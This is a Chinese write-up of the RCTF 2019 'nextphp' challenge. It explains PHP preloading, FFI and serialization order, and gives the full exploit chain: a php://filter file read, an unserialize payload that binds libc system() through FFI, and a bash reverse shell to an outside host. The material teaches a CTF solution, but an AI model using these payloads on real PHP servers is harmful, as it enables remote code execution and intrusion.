[RCTF 2019]nextphp

文章目录


考点

PHP伪协议、反序列化、FFI

前置知识

PHP RFC:预加载

官方文档

通过查看该文档,在最下面找到预加载结合FFI的危害

FFI基本用法

官方文档

查看文档,可以看到给出的第一个例子

执行过程为创建 FFI 对象,加载 libc 并导出函数 printf()

复制代码
<?php
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // 这是常规 C 声明
    "libc.so.6");
$ffi->printf("Hello %s!\n", "world");

不难发现,FFI可以从共享库调用函数

使用方法如下

复制代码
FFI::cdef("int system(const char* command)", "libc.so.6")

第一个参数为在C代码中的函数原型;第二个参数为指定的共享库,但在不指定第二个参数的情况下,会在默认路径下进行搜索。一般来说也能找到想要的函数,那么我们是否可以绕过disable_function的限制?

PHP RFC:新的自定义对象序列化机制

官方文档

在php版本7.4或更高的版本中将 __serialize()__unserialize() 添加到类中,而无需考虑兼容性

文档中给出了实例

复制代码
class A implements Serializable {
    private $prop;
    public function serialize() {
        return serialize($this->prop);
    }
    public function unserialize($payload) {
        $this->prop = unserialize($payload);
    }
}
class B extends A {
    private $prop;
    public function serialize() {
        return serialize([$this->prop, parent::serialize()])
    }
    public function unserialize($payload) {
        [$prop, $parent] = unserialize($payload);
        parent::unserialize($parent);
        $this->prop = $prop;
    }
}

作者指出这种形式的代码无法可靠运行,因为嵌套的 serialize() 和 unserialize() 调用是以不同顺序执行的

因为在序列化过程中,首先执行 A::serialize() 中的 serialize() 调用,然后执行 B::serialize() 中的 serialize() 调用。相反,在解序列化过程中,首先执行 B::unserialize() 中的 unserialize() 调用,然后执行 A::unserialize() 中的 unserialize() 调用。由于调用顺序的差异,在序列化过程中创建的反向引用在解序列化过程中将不再正确。

所以是存在漏洞的,因此作者提出引入 __serialize()和__unserialize()方法使其更安全

如果一个类同时实现了 Serialized 和 __serialize()或者是__unserialize(),那么序列化将优先选择新机制,而反序列化可以使用其中任何一个,具体取决于是否使用 C (Serialized) 或 O (__unserialize) 格式。因此,以 C 格式编码的旧序列化字符串仍然可以被解码,而新字符串将以 O 格式生成。

这也就是之后序列化后首字母是C而不是O。同时会先执行Serializable接口中的方法。同时exp中需要把__unserialize()删除

(因为我们要命令执行当坏人)

解题过程

打开题目,源码如下

复制代码
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

简单的命令执行,我们先查看phpinfo信息搜集

可以看到过滤了很多函数
然后注意到存在文件preload.php

我们结合php伪协议读取下源码

复制代码
?a=include('php://filter/read=convert.base64-encode/resource=preload.php');

base64解码

复制代码
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']); 
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

可以发现和平常做的反序列化代码不太一样,思路是调用run方法命令执行。但是问题来了,题目禁用了大部分函数,我们哪怕构造出链子也无法实现rce。

看到该文件名preload为预加载,可以去网上搜搜相关文章(前置知识我已经贴了链接)

发现与FFI结合会存在危害,我们在phpinfo发现为开启

那么我们就可以结合FFI语法知识,利用run()函数可以将ret变为一个外部函数接口,我们再通过ret调用系统命令,完成RCE

不过方法究竟选哪个是有原因的,分析一下

复制代码
public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

我们在前置知识已经讲过php版本大于7.4会优先调用__unserialize(),看到源码处并没有我们能实现反序列化而unserialize()则有这功能,所以在构造exp我们要选择留下unserialize方法

exp如下

复制代码
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char* command);'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']); 
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
}

$a=new A();
echo base64_encode(serialize($a));

然后构造payload

复制代码
?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))

实现了FFI::cdef("int system(const char* command);")

只需调用即可,通过设置__serialize()['ret']的值获取flag

复制代码
$a->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");

整理一下得到最终payload

复制代码
?a=$a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyKiBjb21tYW5kKTsiO319'))->__serialize()['ret']->system("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'");

这里我没弹成功,如果有师傅会的话教教

相关推荐
慕y27418 分钟前
Java学习第二十四部分——JavaServer Faces (JSF)
java·开发语言·学习
WZF-Sang22 分钟前
计算机网络基础——1
网络·c++·git·学习·计算机网络·智能路由器
??? Meggie39 分钟前
【SQL】使用UPDATE修改表字段的时候,遇到1054 或者1064的问题怎么办?
android·数据库·sql
用户20187928316741 分钟前
代码共享法宝之maven-publish
android
yjm44 分钟前
从一例 Lottie OOM 线上事故读源码
android·app
用户2018792831671 小时前
浅谈View的滑动
android
楼田莉子2 小时前
数据学习之队列
c语言·开发语言·数据结构·学习·算法
hcvinh2 小时前
CANDENCE 17.4 进行元器件缓存更新
学习·缓存
用户2018792831672 小时前
舞台剧兼职演员Dialog
android
参宿四南河三2 小时前
从Android实际应用场景出发,讲述RxJava3的简单使用
android·rxjava